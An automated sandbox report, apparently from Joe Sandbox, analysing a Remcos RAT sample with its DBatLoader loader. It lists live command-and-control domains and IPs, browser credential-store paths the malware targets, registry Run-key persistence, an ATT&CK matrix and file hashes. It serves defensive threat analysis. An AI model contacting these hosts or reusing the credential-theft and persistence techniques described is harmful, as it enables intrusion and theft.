                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: GetLocaleInfoA,1_2_0040F81F
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,1_2_00451C29
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: EnumSystemLocalesW,1_2_00451EEC
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: EnumSystemLocalesW,1_2_00451EA1
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: EnumSystemLocalesW,1_2_00451F87
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_00434BC1 cpuid 1_2_00434BC1
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CB91F0 GetLocalTime,0_2_02CB91F0
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_00449060 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,1_2_00449060
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_0041B55F GetUserNameW,1_2_0041B55F
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CBB770 GetVersionExA,0_2_02CBB770

                    Stealing of Sensitive Information

                    barindex
                    Yara detected Remcos RAT
                    Source: Yara matchFile source: 1.2.SndVol.exe.400000.0.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 1.2.SndVol.exe.62f0000.1.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 8.2.colorcpl.exe.6190000.2.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 1.2.SndVol.exe.62f0000.1.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 1.2.SndVol.exe.62f194e.2.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 8.2.colorcpl.exe.619194e.1.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 8.2.colorcpl.exe.400000.0.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 8.2.colorcpl.exe.6190000.2.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 1.2.SndVol.exe.62f194e.2.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 1.2.SndVol.exe.400000.0.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 8.2.colorcpl.exe.400000.0.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 8.2.colorcpl.exe.619194e.1.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 00000001.00000002.474312952.00000000007D5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000008.00000002.253206056.0000000002AB1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000008.00000003.253042102.0000000002AB1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000001.00000002.474788319.00000000062F0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000008.00000003.253092372.0000000002AB1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000008.00000003.253076423.0000000002AD0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000008.00000002.253136648.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000008.00000002.253322818.0000000006190000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: Process Memory Space: SndVol.exe PID: 7120, type: MEMORYSTR
                    Source: Yara matchFile source: Process Memory Space: colorcpl.exe PID: 6388, type: MEMORYSTR
                    Contains functionality to steal Firefox passwords or cookies
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: \AppData\Roaming\Mozilla\Firefox\Profiles\1_2_0040BA7E
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: \key3.db1_2_0040BA7E
                    Contains functionality to steal Chrome passwords or cookies
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: \AppData\Local\Google\Chrome\User Data\Default\Login Data1_2_0040B960

                    Remote Access Functionality

                    barindex
                    Yara detected Remcos RAT
                    Source: Yara matchFile source: 1.2.SndVol.exe.400000.0.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 1.2.SndVol.exe.62f0000.1.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 8.2.colorcpl.exe.6190000.2.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 1.2.SndVol.exe.62f0000.1.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 1.2.SndVol.exe.62f194e.2.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 8.2.colorcpl.exe.619194e.1.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 8.2.colorcpl.exe.400000.0.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 8.2.colorcpl.exe.6190000.2.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 1.2.SndVol.exe.62f194e.2.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 1.2.SndVol.exe.400000.0.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 8.2.colorcpl.exe.400000.0.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 8.2.colorcpl.exe.619194e.1.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 00000001.00000002.474312952.00000000007D5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000008.00000002.253206056.0000000002AB1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000008.00000003.253042102.0000000002AB1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000001.00000002.474788319.00000000062F0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000008.00000003.253092372.0000000002AB1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000008.00000003.253076423.0000000002AD0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000008.00000002.253136648.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000008.00000002.253322818.0000000006190000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: Process Memory Space: SndVol.exe PID: 7120, type: MEMORYSTR
                    Source: Yara matchFile source: Process Memory Space: colorcpl.exe PID: 6388, type: MEMORYSTR

                    Mitre Att&ck Matrix

                    Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
                    1
                    Valid Accounts                    		1
                    Native API                    		1
                    DLL Side-Loading                    		1
                    DLL Side-Loading                    		1
                    Deobfuscate/Decode Files or Information                    		1
                    OS Credential Dumping                    		2
                    System Time Discovery                    		Remote Services11
                    Archive Collected Data                    		Exfiltration Over Other Network Medium12
                    Ingress Tool Transfer                    		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without Authorization1
                    System Shutdown/Reboot
                    Default Accounts2
                    Service Execution                    		1
                    Valid Accounts                    		1
                    Bypass User Access Control                    		2
                    Obfuscated Files or Information                    		21
                    Input Capture                    		1
                    Account Discovery                    		Remote Desktop Protocol21
                    Input Capture                    		Exfiltration Over Bluetooth2
                    Encrypted Channel                    		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without Authorization1
                    Defacement
                    Domain AccountsAt (Linux)1
                    Windows Service                    		1
                    Valid Accounts                    		1
                    DLL Side-Loading                    		2
                    Credentials In Files                    		1
                    System Service Discovery                    		SMB/Windows Admin Shares12
                    Clipboard Data                    		Automated Exfiltration1
                    Non-Standard Port                    		Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
                    Local AccountsAt (Windows)1
                    Registry Run Keys / Startup Folder                    		11
                    Access Token Manipulation                    		1
                    Bypass User Access Control                    		NTDS2
                    File and Directory Discovery                    		Distributed Component Object ModelInput CaptureScheduled Transfer2
                    Non-Application Layer Protocol                    		SIM Card SwapCarrier Billing Fraud
                    Cloud AccountsCronNetwork Logon Script1
                    Windows Service                    		11
                    Masquerading                    		LSA Secrets24
                    System Information Discovery                    		SSHKeyloggingData Transfer Size Limits112
                    Application Layer Protocol                    		Manipulate Device CommunicationManipulate App Store Rankings or Ratings
                    Replication Through Removable MediaLaunchdRc.common312
                    Process Injection                    		1
                    Valid Accounts                    		Cached Domain Credentials121
                    Security Software Discovery                    		VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
                    External Remote ServicesScheduled TaskStartup Items1
                    Registry Run Keys / Startup Folder                    		1
                    Virtualization/Sandbox Evasion                    		DCSync1
                    Virtualization/Sandbox Evasion                    		Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
                    Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/Job11
                    Access Token Manipulation                    		Proc Filesystem3
                    Process Discovery                    		Shared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue
                    Exploit Public-Facing ApplicationPowerShellAt (Linux)At (Linux)312
                    Process Injection                    		/etc/passwd and /etc/shadow1
                    System Owner/User Discovery                    		Software Deployment ToolsData StagedExfiltration Over Asymmetric Encrypted Non-C2 ProtocolWeb ProtocolsRogue Cellular Base StationData Destruction
                    Supply Chain CompromiseAppleScriptAt (Windows)At (Windows)Invalid Code SignatureNetwork Sniffing1
                    Remote System Discovery                    		Taint Shared ContentLocal Data StagingExfiltration Over Unencrypted/Obfuscated Non-C2 ProtocolFile Transfer ProtocolsData Encrypted for Impact

                    Behavior Graph

                    Hide Legend

                    Legend:

                    • Process
                    • Signature
                    • Created File
                    • DNS/IP Info
                    • Is Dropped
                    • Is Windows Process
                    • Number of created Registry Values
                    • Number of created Files
                    • Visual Basic
                    • Delphi
                    • Java
                    • .Net C# or VB.NET
                    • C, C++ or other language
                    • Is malicious
                    • Internet

                    Screenshots

                    Thumbnails

                    This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                    windows-stand

                    Antivirus, Machine Learning and Genetic Malware Detection

                    Initial Sample

                    SourceDetectionScannerLabelLink
                    Fnvtdhenapsfwu.exe62%ReversingLabsWin32.Trojan.Remcos

                    Dropped Files

                    SourceDetectionScannerLabelLink
                    C:\Users\Public\Libraries\Fnvtdhen.PIF62%ReversingLabsWin32.Trojan.Remcos

                    Unpacked PE Files

                    ⊘No Antivirus matches

                    Domains

                    ⊘No Antivirus matches

                    URLs

                    SourceDetectionScannerLabelLink
                    http://geoplugin.net/json.gp0%URL Reputationsafe
                    http://geoplugin.net/json.gp/C0%URL Reputationsafe
                    http://://t.exet.exen0%Avira URL Cloudsafe
                    http://wsvdyhrgebwhevawe.ydns.eu/goofeeewsvd/Fnvtdhenapsll&=100%Avira URL Cloudphishing
                    http://://t.exet.exe0%Avira URL Cloudsafe
                    http://wsvdyhrgebwhevawe.ydns.eu/goofeeewsvd/Fnvtdhenapsf100%Avira URL Cloudphishing
                    http://wsvdyhrgebwhevawe.ydns.eu/goofeeewsvd/FnvtdhenapsDLLq/100%Avira URL Cloudphishing
                    http://wsvdyhrgebwhevawe.ydns.eu/100%Avira URL Cloudphishing
                    tornado.ydns.eu100%Avira URL Cloudphishing
                    http://wsvdyhrgebwhevawe.ydns.eu/goofeeewsvd/Fnvtdhenaps100%Avira URL Cloudphishing
                    http://wsvdyhrgebwhevawe.ydns.eu/goofeeewsvd/FnvtdhenapsDLL100%Avira URL Cloudphishing

                    Domains and IPs

                    Contacted Domains

                    NameIPActiveMaliciousAntivirus DetectionReputation
                    orifak.ydns.eu
                    		193.42.32.61
                    		truetrue
                      		unknown
                      wsvdyhrgebwhevawe.ydns.eu
                      		81.161.229.9
                      		truetrue
                        		unknown
                        tornado.ydns.eu
                        		193.42.32.61
                        		truetrue
                          		unknown

                          Contacted URLs

                          NameMaliciousAntivirus DetectionReputation
                          http://wsvdyhrgebwhevawe.ydns.eu/goofeeewsvd/Fnvtdhenapstrue
                          • Avira URL Cloud: phishing
                          		unknown
                          tornado.ydns.eutrue
                          • Avira URL Cloud: phishing
                          		unknown

                          URLs from Memory and Binaries

                          NameSourceMaliciousAntivirus DetectionReputation
                          http://geoplugin.net/json.gpSndVol.exefalse
                          • URL Reputation: safe
                          		unknown
                          http://://t.exet.exenFnvtdhenapsfwu.exe, 00000000.00000002.216838629.000000000019B000.00000004.00000010.00020000.00000000.sdmpfalse
                          • Avira URL Cloud: safe
                          		low
                          http://wsvdyhrgebwhevawe.ydns.eu/goofeeewsvd/FnvtdhenapsDLLFnvtdhen.PIF, 00000002.00000002.253289545.00000000005C5000.00000004.00000020.00020000.00000000.sdmptrue
                          • Avira URL Cloud: phishing
                          		unknown
                          http://://t.exet.exeFnvtdhen.PIF, 00000002.00000002.253230097.000000000019B000.00000004.00000010.00020000.00000000.sdmpfalse
                          • Avira URL Cloud: safe
                          		low
                          http://wsvdyhrgebwhevawe.ydns.eu/Fnvtdhenapsfwu.exe, 00000000.00000002.216873929.00000000005C1000.00000004.00000020.00020000.00000000.sdmp, Fnvtdhen.PIF, 00000002.00000002.253289545.00000000005D6000.00000004.00000020.00020000.00000000.sdmptrue
                          • Avira URL Cloud: phishing
                          		unknown
                          http://geoplugin.net/json.gp/CSndVol.exe, 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, SndVol.exe, 00000001.00000002.474788319.00000000062F0000.00000040.00000400.00020000.00000000.sdmp, colorcpl.exe, 00000008.00000002.253322818.0000000006190000.00000040.00000400.00020000.00000000.sdmp, colorcpl.exe, 00000008.00000002.253136648.0000000000400000.00000040.00001000.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          		unknown
                          http://wsvdyhrgebwhevawe.ydns.eu/goofeeewsvd/Fnvtdhenapsll&=Fnvtdhenapsfwu.exe, 00000000.00000002.216873929.0000000000591000.00000004.00000020.00020000.00000000.sdmptrue
                          • Avira URL Cloud: phishing
                          		unknown
                          http://www.pmail.comFnvtdhenapsfwu.exe, Fnvtdhenapsfwu.exe, 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmp, Fnvtdhenapsfwu.exe, 00000000.00000002.221331055.000000007FD20000.00000004.00001000.00020000.00000000.sdmpfalse
                            		high
                            http://wsvdyhrgebwhevawe.ydns.eu/goofeeewsvd/FnvtdhenapsfFnvtdhen.PIF, 00000002.00000002.253289545.00000000005A1000.00000004.00000020.00020000.00000000.sdmptrue
                            • Avira URL Cloud: phishing
                            		unknown
                            http://wsvdyhrgebwhevawe.ydns.eu/goofeeewsvd/FnvtdhenapsDLLq/Fnvtdhen.PIF, 00000002.00000002.253289545.00000000005C5000.00000004.00000020.00020000.00000000.sdmptrue
                            • Avira URL Cloud: phishing
                            		unknown

                            World Map of Contacted IPs

                            • No. of IPs < 25%
                            • 25% < No. of IPs < 50%
                            • 50% < No. of IPs < 75%
                            • 75% < No. of IPs

                            Public IPs

                            IPDomainCountryFlagASNASN NameMalicious
                            81.161.229.9
                            		wsvdyhrgebwhevawe.ydns.euGermany
                            		33657CMCSUStrue
                            193.42.32.61
                            		orifak.ydns.euGermany
                            		3221EENET-ASEEtrue

                            Private

                            IP
                            192.168.2.1

                            General Information

                            Joe Sandbox Version:38.0.0 Beryl
                            Analysis ID:1303888
                            Start date and time:2023-09-05 22:19:48 +02:00
                            Joe Sandbox Product:CloudBasic
                            Overall analysis duration:0h 10m 21s
                            Hypervisor based Inspection enabled:false
                            Report type:full
                            Cookbook file name:default.jbs
                            Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
                            Number of analysed new started processes analysed:28
                            Number of new started drivers analysed:0
                            Number of existing processes analysed:0
                            Number of existing drivers analysed:0
                            Number of injected processes analysed:0
                            Technologies:
                            • HCA enabled
                            • EGA enabled
                            • HDC enabled
                            • AMSI enabled
                            Analysis Mode:default
                            Analysis stop reason:Timeout
                            Sample file name:Fnvtdhenapsfwu.exe
                            Detection:MAL
                            Classification:mal100.rans.troj.spyw.expl.evad.winEXE@6/3@4/3
                            EGA Information:
                            • Successful, ratio: 50%
                            HDC Information:
                            • Successful, ratio: 21.3% (good quality ratio 20.2%)
                            • Quality average: 81.6%
                            • Quality standard deviation: 26%
                            HCA Information:
                            • Successful, ratio: 98%
                            • Number of executed functions: 66
                            • Number of non-executed functions: 210
                            Cookbook Comments:
                            • Found application associated with file extension: .exe

                            Warnings

                            • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe
                            • Excluded domains from analysis (whitelisted): www.bing.com, ris.api.iris.microsoft.com, geover.prod.do.dsp.mp.microsoft.com, kv501.prod.do.dsp.mp.microsoft.com, fs.microsoft.com, geo.prod.do.dsp.mp.microsoft.com, tse1.mm.bing.net, arc.msn.com
                            • Not all processes where analyzed, report is missing behavior information
                            • Report creation exceeded maximum time and may have missing disassembly code information.
                            • Report size exceeded maximum capacity and may have missing behavior information.
                            • Report size getting too big, too many NtOpenFile calls found.
                            • Report size getting too big, too many NtOpenKeyEx calls found.
                            • Report size getting too big, too many NtProtectVirtualMemory calls found.
                            • Report size getting too big, too many NtQueryAttributesFile calls found.
                            • Report size getting too big, too many NtQueryValueKey calls found.
                            • VT rate limit hit for: Fnvtdhenapsfwu.exe

                            Simulations

                            Behavior and APIs

                            TimeTypeDescription
                            22:20:39API Interceptor1x Sleep call for process: Fnvtdhenapsfwu.exe modified
                            22:20:44AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Fnvtdhen C:\Users\Public\Fnvtdhen.url
                            22:20:53AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Fnvtdhen C:\Users\Public\Fnvtdhen.url
                            22:20:54API Interceptor1x Sleep call for process: Fnvtdhen.PIF modified

                            Joe Sandbox View / Context

                            IPs

                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                            81.161.229.9SecuriteInfo.com.Exploit.CVE-2018-0798.4.25783.32439.rtfGet hashmaliciousRemcos, DBatLoaderBrowse
                            • wsvdyhrgebwhevawe.ydns.eu/goofeeewsvd/Fnvtdhenaps
                            193.42.32.61SecuriteInfo.com.Exploit.CVE-2018-0798.4.25783.32439.rtfGet hashmaliciousRemcos, DBatLoaderBrowse
                              SecuriteInfo.com.Win32.DropperX-gen.25669.16625.exeGet hashmaliciousRemcos, DBatLoaderBrowse

                                Domains

                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                orifak.ydns.euIawyncsnbpsnnl.exeGet hashmaliciousRemcos, DBatLoaderBrowse
                                • 85.209.134.253
                                wBIv8zeNFC.exeGet hashmaliciousRemcos, DBatLoaderBrowse
                                • 85.209.134.253
                                SecuriteInfo.com.Exploit.ShellCode.69.12800.7371.rtfGet hashmaliciousRemcos, DBatLoaderBrowse
                                • 85.209.134.253
                                wsvdyhrgebwhevawe.ydns.euSecuriteInfo.com.Exploit.CVE-2018-0798.4.25783.32439.rtfGet hashmaliciousRemcos, DBatLoaderBrowse
                                • 81.161.229.9
                                SecuriteInfo.com.Win32.DropperX-gen.25669.16625.exeGet hashmaliciousRemcos, DBatLoaderBrowse
                                • 141.98.10.71
                                DxqQQ2WfeF.exeGet hashmaliciousRemcos, DBatLoaderBrowse
                                • 141.98.10.71
                                Factura_con_IVA.docGet hashmaliciousRemcos, DBatLoaderBrowse
                                • 141.98.10.71
                                tornado.ydns.euSecuriteInfo.com.Exploit.CVE-2018-0798.4.25783.32439.rtfGet hashmaliciousRemcos, DBatLoaderBrowse
                                • 193.42.32.61
                                SecuriteInfo.com.Win32.DropperX-gen.25669.16625.exeGet hashmaliciousRemcos, DBatLoaderBrowse
                                • 193.42.32.61
                                DxqQQ2WfeF.exeGet hashmaliciousRemcos, DBatLoaderBrowse
                                • 85.209.134.253
                                Factura_con_IVA.docGet hashmaliciousRemcos, DBatLoaderBrowse
                                • 85.209.134.253
                                Iawyncsnbpsnnl.exeGet hashmaliciousRemcos, DBatLoaderBrowse
                                • 85.209.134.253
                                QAXRLxMajB.exeGet hashmaliciousRemcos, DBatLoaderBrowse
                                • 85.209.134.253
                                wBIv8zeNFC.exeGet hashmaliciousRemcos, DBatLoaderBrowse
                                • 85.209.134.253
                                SecuriteInfo.com.Exploit.ShellCode.69.12800.7371.rtfGet hashmaliciousRemcos, DBatLoaderBrowse
                                • 85.209.134.253

                                ASNs

                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                CMCSUSOrden_de_Compra_No._20181.xlsxGet hashmaliciousUnknownBrowse
                                • 95.214.27.56
                                https://www.bing.com/ck/a?!&&p=e68250146783912dJmltdHM9MTY5Mzc4NTYwMCZpZ3VpZD0yNDFmZjRjYi05ZjNkLTYxNTAtMWYxNS1lNzQ5OWVlMDYwMTgmaW5zaWQ9NTExNw&ptn=3&hsh=3&fclid=241ff4cb-9f3d-6150-1f15-e7499ee06018&psq=site%3areferal.biz&u=a1aHR0cHM6Ly93d3cucmVmZXJhbC5iaXovP3Jvb209MA#M=yvonne_curran@edinburghairport.comGet hashmaliciousHTMLPhisherBrowse
                                • 2.59.254.186
                                Conferma_Pagamento.bin.exeGet hashmaliciousUnknownBrowse
                                • 45.12.253.137
                                Conferma_Pagamento.bin.exeGet hashmaliciousUnknownBrowse
                                • 45.12.253.137
                                SecuriteInfo.com.Exploit.CVE-2018-0798.4.25783.32439.rtfGet hashmaliciousRemcos, DBatLoaderBrowse
                                • 81.161.229.9
                                https://l9qqx.app.link/hbPrpxXsNCbGet hashmaliciousUnknownBrowse
                                • 95.214.26.24
                                https://l9qqx.app.link/hbPrpxXsNCbGet hashmaliciousUnknownBrowse
                                • 95.214.26.24
                                Orden_de_Compra_No._20181.xlam.xlsxGet hashmaliciousAgentTeslaBrowse
                                • 95.214.27.56
                                https://5gkcp.app.link/9xMFkILpNCbGet hashmaliciousUnknownBrowse
                                • 95.214.26.24
                                https://5gkcp.app.link/9xMFkILpNCbGet hashmaliciousUnknownBrowse
                                • 95.214.26.24
                                VGouhuPCRO.exeGet hashmaliciousAmadey, Fabookie, LummaC Stealer, Meduza Stealer, RedLineBrowse
                                • 95.214.27.254
                                fedex00983000768797doc.xlam.xlsxGet hashmaliciousAgentTeslaBrowse
                                • 95.214.27.56
                                yBNyoEDVlU.exeGet hashmaliciousRedLineBrowse
                                • 95.214.27.254
                                3ZwrtOEz81.elfGet hashmaliciousMiraiBrowse
                                • 140.89.25.221
                                yBNyoEDVlU.exeGet hashmaliciousRedLineBrowse
                                • 95.214.27.254
                                https://zwqwd.app.link/JivSpWvcNCbGet hashmaliciousUnknownBrowse
                                • 95.214.26.24
                                pfuAEWjdyS.elfGet hashmaliciousUnknownBrowse
                                • 45.66.230.47
                                https://www.bing.com/ck/a?!&&p=08b64e0594a0b0c1JmltdHM9MTY5MjMxNjgwMCZpZ3VpZD0yZTIwNDBkYi1kNDFlLTZiYzktMjhmYi01M2FhZDVmNDZhMjkmaW5zaWQ9NTEzMA&ptn=3&hsh=3&fclid=2e2040db-d41e-6bc9-28fb-53aad5f46a29&u=a1aHR0cHM6Ly9leHBsb3JlaG9zcGl0YWxzLmNvbS9haG1lZGFiYWQv&#M=foo@bar.comGet hashmaliciousUnknownBrowse
                                • 2.59.254.186
                                https://mmfdn.app.link/YAscKPSfNCbGet hashmaliciousUnknownBrowse
                                • 95.214.26.24

                                JA3 Fingerprints

                                ⊘No context

                                Dropped Files

                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                C:\Users\Public\Libraries\Fnvtdhen.PIFSecuriteInfo.com.Exploit.CVE-2018-0798.4.25783.32439.rtfGet hashmaliciousRemcos, DBatLoaderBrowse

                                  Created / dropped Files

                                  C:\ProgramData\remcos\logs.dat

                                  Download File
                                  Process:C:\Windows\SysWOW64\SndVol.exe
                                  File Type:data
                                  Category:dropped
                                  Size (bytes):162
                                  Entropy (8bit):3.369167134696068
                                  Encrypted:false
                                  SSDEEP:3:rmlql7lQNd/lnq5JWRal2Jl+7R0DAlBG4moojklovDl6v:KlRNi5YcIeeDAlS1gWAv
                                  MD5:0E6C4C6494E8D563882175A365488D13
                                  SHA1:45B37A739A9868BECEC3DE9C5ADC0B654AE8959A
                                  SHA-256:7EBF554F6B4C8ED72A2144EA1395BAFC4FB99AE4A56DEA9BF2A368D80E32E5A1
                                  SHA-512:2311DD2FBE44074C33169F91EF8148FB776AEDE01944EF3B54A890599A4E9C0F3BAD20D7C2061340AE2E433A8BCAE55D8AFC7FD7B9D65F18A0BAC9C5D7C21351
                                  Malicious:true
                                  Reputation:low
                                  Preview:....[.2.0.2.3./.0.9./.0.5. .2.2.:.2.0.:.4.4. .O.f.f.l.i.n.e. .K.e.y.l.o.g.g.e.r. .S.t.a.r.t.e.d.].........[.R.u.n.].........[.P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].....

                                  C:\Users\Public\Fnvtdhen.url

                                  Download File
                                  Process:C:\Users\user\Desktop\Fnvtdhenapsfwu.exe
                                  File Type:MS Windows 95 Internet shortcut text (URL=<file:"C:\\Users\\Public\\Libraries\\Fnvtdhen.PIF">), ASCII text, with CRLF line terminators
                                  Category:dropped
                                  Size (bytes):99
                                  Entropy (8bit):4.9763390393549205
                                  Encrypted:false
                                  SSDEEP:3:HRAbABGQYmTWAX+rSF55i0XMTRuL1EysbxovtKRPK:HRYFVmTWDyz08BZExytK9K
                                  MD5:928836AD0DD52122BB9A9A40825BC079
                                  SHA1:C26578D2CA5F86A0B4C86270FF63F581344EB445
                                  SHA-256:AAC3F8C4BC51B6B1BC4572E288916BC5D7E8B643935F022D1B4FC44246F35338
                                  SHA-512:F7832BDB19624D5502DB5A245E7175967096AB7F12E70112699AAC18DDF369B618FA62F61AFD5B59632F089EA074B65DE957B30D44F136B0171FB83F6BF8AE9D
                                  Malicious:false
                                  Reputation:low
                                  Preview:[InternetShortcut]..URL=file:"C:\\Users\\Public\\Libraries\\Fnvtdhen.PIF"..IconIndex=9..HotKey=37..

                                  C:\Users\Public\Libraries\Fnvtdhen.PIF

                                  Download File
                                  Process:C:\Users\user\Desktop\Fnvtdhenapsfwu.exe
                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                  Category:dropped
                                  Size (bytes):1243648
                                  Entropy (8bit):6.2960091515949825
                                  Encrypted:false
                                  SSDEEP:24576:ORTaL+A2f8Zhp8bYm1EnyWjkf0eFuPD+4m:gTaKsh
                                  MD5:CFFE529403460C6AFFE0F52C1E7DE602
                                  SHA1:3E03898F87C2CC47D57893C3DD55302281E9F2B5
                                  SHA-256:56A3DC5C90ADE897E349BA0FD0433770DCDDA32B5BD2A1C6608B2AF2F9B34C05
                                  SHA-512:C94045AE5B144141A33C2EE980F1B276C7DED8B1F574C91B6F6E57F4B410CE93440255FCF64DF493526959155C67280159829D10360CE595EBE42E7732269AC1
                                  Malicious:true
                                  Yara Hits:
                                  • Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: C:\Users\Public\Libraries\Fnvtdhen.PIF, Author: Joe Security
                                  Antivirus:
                                  • Antivirus: ReversingLabs, Detection: 62%
                                  Joe Sandbox View:
                                  • Filename: SecuriteInfo.com.Exploit.CVE-2018-0798.4.25783.32439.rtf, Detection: malicious, Browse
                                  Reputation:low
                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................t....................@..............................................@...........................0..r.... ...^......................@............................p...................... 9..,............................text... v.......x.................. ..`.itext..8............|.............. ..`.data....O.......P..................@....bss.....8...............................idata..r....0...0..................@....tls....@....`...........................rdata.......p......................@..@.reloc..@...........................@..B.rsrc....^... ...^..................@..@....................................@..@................................................................................................

                                  Static File Info

                                  General

                                  File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                  Entropy (8bit):6.2960091515949825
                                  TrID:
                                  • Win32 Executable (generic) a (10002005/4) 99.38%
                                  • InstallShield setup (43055/19) 0.43%
                                  • Windows Screen Saver (13104/52) 0.13%
                                  • Win16/32 Executable Delphi generic (2074/23) 0.02%
                                  • Generic Win/DOS Executable (2004/3) 0.02%
                                  File name:Fnvtdhenapsfwu.exe
                                  File size:1'243'648 bytes
                                  MD5:cffe529403460c6affe0f52c1e7de602
                                  SHA1:3e03898f87c2cc47d57893c3dd55302281e9f2b5
                                  SHA256:56a3dc5c90ade897e349ba0fd0433770dcdda32b5bd2a1c6608b2af2f9b34c05
                                  SHA512:c94045ae5b144141a33c2ee980f1b276c7ded8b1f574c91b6f6e57f4b410ce93440255fcf64df493526959155c67280159829d10360ce595ebe42e7732269ac1
                                  SSDEEP:24576:ORTaL+A2f8Zhp8bYm1EnyWjkf0eFuPD+4m:gTaKsh
                                  TLSH:E5457DE2A354CC72F06A3578C849B6C0382A7DED693A5CCD666C794A1A73761793C03F
